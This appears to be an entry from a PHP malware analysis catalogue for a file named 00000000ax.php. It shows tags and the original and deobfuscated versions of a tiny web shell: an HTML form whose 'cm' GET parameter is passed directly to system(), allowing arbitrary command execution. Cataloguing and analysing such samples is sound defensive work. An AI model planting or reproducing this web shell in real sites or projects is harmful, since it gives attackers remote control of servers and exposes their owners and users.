PHP Malware Analysis

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Filename: 00000000ax.php

Tags

Title
  • Document
Execution
  • system
Input
  • _GET

Deobfuscated code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <?php 
if (isset($_GET['cm'])) {
    system($_GET['cm']);
}
?>



</body>

</html>

Original code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <?
    if (isset($_GET['cm'])) {
        system($_GET['cm']);
    }
    ?>



</body>

</html>